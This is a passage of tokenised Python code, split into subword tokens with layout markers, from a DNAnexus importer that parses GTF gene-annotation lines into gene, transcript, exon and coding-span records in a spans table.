", " ", "_", "if_", "values_", "[_", "\"", "lo", "\"_", "]_", "<_", "element_", "[_", "hash", "Id_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "lo", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "element_", "[_", "hash", "Id_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "lo", "\"_", "]_", "=_", "values_", "[_", "\"", "lo", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "values_", "[_", "\"", "hi", "\"_", "]_", ">_", "element_", "[_", "hash", "Id_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "hi", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "element_", "[_", "hash", "Id_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "hi", "\"_", "]_", "=_", "values_", "[_", "\"", "hi", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "stop", "\\u", "codon", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "stop", "Cod", "ons_", "._", "get_", "(_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", ")_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stop", "Cod", "ons_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "=_", "[_", "[_", "values_", "[_", "\"", "lo", "\"_", "]_", ",_", "values_", "[_", "\"", "hi", "\"_", "]_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stop", "Cod", "ons_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "._", "append_", "(_", "[_", "values_", "[_", "\"", "lo", "\"_", "]_", ",_", "values_", "[_", "\"", "hi", "\"_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "CD", "S", "\"_", "or_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "start", "\\u", "codon", "\"_", "or_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "stop", "\\u", "codon", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "values_", "[_", "\"", "hi", "\"_", "]_", ">_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "codi", "ng", "Hi", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "codi", "ng", "Hi", "\"_", "]_", "=_", "values_", "[_", "\"", "hi", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "values_", "[_", "\"", "lo", "\"_", "]_", "<_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "codi", "ng", "Lo", "\"_", "]_", "or_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "codi", "ng", "Lo", "\"_", "]_", "==_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "codi", "ng", "Lo", "\"_", "]_", "=_", "values_", "[_", "\"", "lo", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "genes_", "[_", "values_", "[_", "\"", "gene", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "codi", "ng", "\"_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "codi", "ng", "\"_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "g", "Id_", ",_", "chr", "List_", "in_", "genes_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "k_", ",_", "v_", "in_", "chr", "List_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entry_", "=_", "[_", "k_", ",_", "v_", "[_", "\"", "lo", "\"_", "]_", ",_", "v_", "[_", "\"", "hi", "\"_", "]_", ",_", "v_", "[_", "\"", "name", "\"_", "]_", ",_", "v_", "[_", "\"", "span", "Id", "\"_", "]_", ",_", "\"", "gene", "\"_", ",_", "v_", "[_", "\"", "strand", "\"_", "]_", ",_", "v_", "[_", "\"", "score", "\"_", "]_", ",_", "v_", "[_", "\"", "codi", "ng", "\"_", "]_", ",_", "-_", "1_", ",_", "-_", "1_", ",_", "''_", ",_", "''_", ",_", "v_", "[_", "\"", "original", "Gene", "Id", "\"_", "]_", ",_", "''_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "addition", "al", "Columns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "x_", "!=_", "\"", "gene", "\\u", "id", "\"_", "and_", "x_", "!=_", "\"", "transcri", "pt", "\\u", "id", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "entry_", "._", "append_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "span", "s", "Table_", "._", "add", "\\u", "rows_", "(_", "[_", "entry_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "g", "Id_", ",_", "chr", "List_", "in_", "transcripts", "_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "k_", ",_", "v_", "in_", "chr", "List_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entry_", "=_", "[_", "k_", ",_", "v_", "[_", "\"", "lo", "\"_", "]_", ",_", "v_", "[_", "\"", "hi", "\"_", "]_", ",_", "v_", "[_", "\"", "name", "\"_", "]_", ",_", "v_", "[_", "\"", "span", "Id", "\"_", "]_", ",_", "\"", "transcri", "pt", "\"_", ",_", "v_", "[_", "\"", "strand", "\"_", "]_", ",_", "v_", "[_", "\"", "score", "\"_", "]_", ",_", "genes_", "[_", "v_", "[_", "\"", "gene", "Id", "\"_", "]_", "]_", "[_", "k_", "]_", "[_", "\"", "codi", "ng", "\"_", "]_", ",_", "genes_", "[_", "v_", "[_", "\"", "gene", "Id", "\"_", "]_", "]_", "[_", "k_", "]_", "[_", "\"", "span", "Id", "\"_", "]_", ",_", "-_", "1_", ",_", "''_", ",_", "''_", ",_", "v_", "[_", "\"", "original", "Gene", "Id", "\"_", "]_", ",_", "v_", "[_", "\"", "original", "Transcript", "Id", "\"_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "x_", "in_", "addition", "al", "Columns_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "x_", "!=_", "\"", "gene", "\\u", "id", "\"_", "and_", "x_", "!=_", "\"", "transcri", "pt", "\\u", "id", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "entry_", "._", "append_", "(_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "span", "s", "Table_", "._", "add", "\\u", "rows_", "(_", "[_", "entry_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "exons_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input", "File_", "=_", "open_", "(_", "input", "File", "Name_", ",_", "'", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "line_", "in_", "input", "File_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "line_", "[_", "0_", "]_", "!=_", "\"#\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "values_", "=_", "parse", "Line_", "(_", "line_", ",_", "captured", "Types_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "exons_", "._", "get_", "(_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", ")_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "exons_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "._", "get_", "(_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ")_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "exons_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exons_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "=_", "{_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ":_", "[_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "captured", "Types_", "._", "get_", "(_", "values_", "[_", "\"", "type", "\"_", "]_", ")_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "type", " ", "is", " ", "5", "'", "UT", "R", ",", " ", "3", "'", "UT", "R", ",", " ", "inter", "geni", "c", ",", " ", "or", " ", "conserv", "ed", " ", "intron", ",", " ", "type", " ", "is", " ", "alw", "ay", "s", " ", "nonc", "odi", "ng_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "5", "UT", "R", "\"_", "or_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "3", "UT", "R", "\"_", "or_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "inter", "\"_", "or_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "inter", "\\u", "CN", "S", "\"_", "or_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "intron", "\\u", "CN", "S", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "write", "Entry_", "(_", "span", "s", "Table_", ",_", "span", "Id_", ",_", "exons_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", ",_", "addition", "al", "Columns_", ",_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ",_", "values_", "[_", "\"", "lo", "\"_", "]_", ",_", "values_", "[_", "\"", "hi", "\"_", "]_", ",_", "values_", "[_", "\"", "attribute", "s", "\"_", "]_", ",_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ",_", "values_", "[_", "\"", "lo", "\"_", "]_", ",_", "values_", "[_", "\"", "hi", "\"_", "]_", ",_", "values_", "[_", "\"", "name", "\"_", "]_", ",_", "span", "Id_", ",_", "captured", "Types_", "[_", "values_", "[_", "\"", "type", "\"_", "]_", "]_", ",_", "values_", "[_", "\"", "strand", "\"_", "]_", ",_", "values_", "[_", "\"", "score", "\"_", "]_", ",_", "False_", ",_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "\"", "span", "Id", "\"_", "]_", ",_", "values_", "[_", "\"", "frame", "\"_", "]_", ",_", "''_", ",_", "values_", "[_", "\"", "source", "\"_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "exon", "\\u", "number", "\"_", "in_", "values_", "[_", "\"", "attribute", "s", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "values_", "[_", "\"", "transcri", "pt", "Name", "\"_", "]_", "+=_", "\".\"_", "+_", "values_", "[_", "\"", "attribute", "s", "\"_", "]_", "[_", "\"", "exon", "\\u", "number", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "If", " ", "type", " ", "is", " ", "CD", "S", ",", " ", "alw", "ay", "s", " ", "of", " ", "type", " ", "coding_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "CD", "S", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "stop", "Cod", "ons_", "._", "get_", "(_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", ")_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "for_", "x_", "in_", "stop", "Cod", "ons_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "values_", "[_", "\"", "hi", "\"_", "]_", "==_", "x_", "[_", "0_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "values_", "[_", "\"", "hi", "\"_", "]_", "=_", "x_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "[_", "values_", "[_", "\"", "lo", "\"_", "]_", ",_", "values_", "[_", "\"", "hi", "\"_", "]_", "]_", "not_", "in_", "exons_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "span", "Id_", "=_", "write", "Entry_", "(_", "span", "s", "Table_", ",_", "span", "Id_", ",_", "exons_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", ",_", "addition", "al", "Columns_", ",_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ",_", "values_", "[_", "\"", "lo", "\"_", "]_", ",_", "values_", "[_", "\"", "hi", "\"_", "]_", ",_", "values_", "[_", "\"", "attribute", "s", "\"_", "]_", ",_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ",_", "values_", "[_", "\"", "lo", "\"_", "]_", ",_", "values_", "[_", "\"", "hi", "\"_", "]_", ",_", "values_", "[_", "\"", "transcri", "pt", "Name", "\"_", "]_", ",_", "span", "Id_", ",_", "captured", "Types_", "[_", "values_", "[_", "\"", "type", "\"_", "]_", "]_", ",_", "values_", "[_", "\"", "strand", "\"_", "]_", ",_", "values_", "[_", "\"", "score", "\"_", "]_", ",_", "True_", ",_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "span", "Id", "\"_", "]_", ",_", "values_", "[_", "\"", "frame", "\"_", "]_", ",_", "''_", ",_", "values_", "[_", "\"", "source", "\"_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "If", " ", "type", " ", "is", " ", "exon", " ", "do", " ", "calculati", "on", " ", "as", " ", "to", " ", "whe", "ther", " ", "codi", "ng", " ", "or", " ", "non", "-", "coding_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "stop", "\\u", "codon", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "values_", "[_", "\"", "type", "\"_", "]_", "=_", "\"", "exon", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "\"", "frame", "\"_", "]_", "=_", "3_", "-_", "(_", "values_", "[_", "\"", "hi", "\"_", "]_", "-_", "values_", "[_", "\"", "lo", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "values", "[\"", "strand", "\"]", " ", "==", " ", "\"-", "\":", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "values", "[\"", "lo", "\"]", " ", "=", " ", "transcripts", "[", "values", "[\"", "transcri", "pt", "Id", "\"]", "][", "values", "[\"", "chromo", "some", "\"]", "][", "\"", "lo", "\"]", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "else", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "values", "[\"", "hi", "\"]", " ", "=", " ", "transcripts", "[", "values", "[\"", "transcri", "pt", "Id", "\"]", "][", "values", "[\"", "chromo", "some", "\"]", "][", "\"", "hi", "\"]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "values_", "[_", "\"", "type", "\"_", "]_", "==_", "\"", "exon", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "(_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "codi", "ng", "Lo", "\"_", "]_", "!=_", "-_", "1_", "and_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "codi", "ng", "Hi", "\"_", "]_", "!=_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "frames_", "._", "get_", "(_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", ")_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "if_", "frames_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "._", "get_", "(_", "values_", "[_", "\"", "lo", "\"_", "]_", ")_", "!=_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "values_", "[_", "\"", "frame", "\"_", "]_", "=_", "frames_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "lo", "\"_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "x_", "in_", "split", "Exo", "ns_", "(_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", ",_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ",_", "values_", "[_", "\"", "lo", "\"_", "]_", ",_", "values_", "[_", "\"", "hi", "\"_", "]_", ",_", "values_", "[_", "\"", "strand", "\"_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "span", "Id_", "=_", "write", "Entry_", "(_", "span", "s", "Table_", ",_", "span", "Id_", ",_", "exons_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", ",_", "addition", "al", "Columns_", ",_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ",_", "x_", "[_", "1_", "]_", ",_", "x_", "[_", "2_", "]_", ",_", "values_", "[_", "\"", "attribute", "s", "\"_", "]_", ",_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ",_", "x_", "[_", "1_", "]_", ",_", "x_", "[_", "2_", "]_", ",_", "values_", "[_", "\"", "transcri", "pt", "Name", "\"_", "]_", ",_", "span", "Id_", ",_", "x_", "[_", "0_", "]_", ",_", "values_", "[_", "\"", "strand", "\"_", "]_", ",_", "values_", "[_", "\"", "score", "\"_", "]_", ",_", "x_", "[_", "3_", "]_", ",_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "span", "Id", "\"_", "]_", ",_", "values_", "[_", "\"", "frame", "\"_", "]_", ",_", "''_", ",_", "values_", "[_", "\"", "source", "\"_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "span", "Id_", "=_", "write", "Entry_", "(_", "span", "s", "Table_", ",_", "span", "Id_", ",_", "exons_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", ",_", "addition", "al", "Columns_", ",_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ",_", "values_", "[_", "\"", "lo", "\"_", "]_", ",_", "values_", "[_", "\"", "hi", "\"_", "]_", ",_", "values_", "[_", "\"", "attribute", "s", "\"_", "]_", ",_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", ",_", "values_", "[_", "\"", "lo", "\"_", "]_", ",_", "values_", "[_", "\"", "hi", "\"_", "]_", ",_", "values_", "[_", "\"", "transcri", "pt", "Name", "\"_", "]_", ",_", "span", "Id_", ",_", "captured", "Types_", "[_", "values_", "[_", "\"", "type", "\"_", "]_", "]_", ",_", "values_", "[_", "\"", "strand", "\"_", "]_", ",_", "values_", "[_", "\"", "score", "\"_", "]_", ",_", "False_", ",_", "transcripts", "_", "[_", "values_", "[_", "\"", "transcri", "pt", "Id", "\"_", "]_", "]_", "[_", "values_", "[_", "\"", "chromo", "some", "\"_", "]_", "]_", "[_", "\"", "span", "Id", "\"_", "]_", ",_", "values_", "[_", "\"", "frame", "\"_", "]_", ",_", "''_", ",_", "values_", "[_", "\"", "source", "\"_", "]_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "span", "s", "Table_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "span", "s", "Table_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "File_", "=_", "open_", "(_", "\"", "result", ".", "txt", "\"_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "File_", "._", "write_", "(_", "span", "s", "Table_", "._", "get", "\\u", "id_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "span", "s", "Table_", "._", "get", "\\u", "id_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "span", "s", "Table_", "._", "get", "\\u", "id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "Line_", "(_", "line_", ",_", "captured", "Types_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tab", "Split_", "=_", "line_", "._", "split_", "(_", "\"\\\\", "t", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "tab", "Split_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tab", "Split_", "=_", "line_", "._", "split_", "(_", "\"", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "tab", "Split_", ")_", "<_", "9_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "dxp", "y_", "._", "App", "Error_", "(_", "\"", "One", " ", "row", " ", "did", " ", "not", " ", "have", " ", "9", " ", "entri", "es", ",", " ", "it", " ", "had", " ", "1", " ", "inst", "ead", ".", " ", "Off", "ending", " ", "line", ":", " ", "\"_", "+_", "line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tab", "Split_", "[_", "8_", "]_", "=_", "\"", " ", "\"_", "._", "join_", "(_", "tab", "Split_", "[_", "8_", ":_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tab", "Split_", "=_", "tab", "Split_", "[_", ":_", "9_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "chromosome_", "=_", "tab", "Split_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source_", "=_", "tab", "Split_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "typ_", "=_", "tab", "Split_", "[_", "2_", 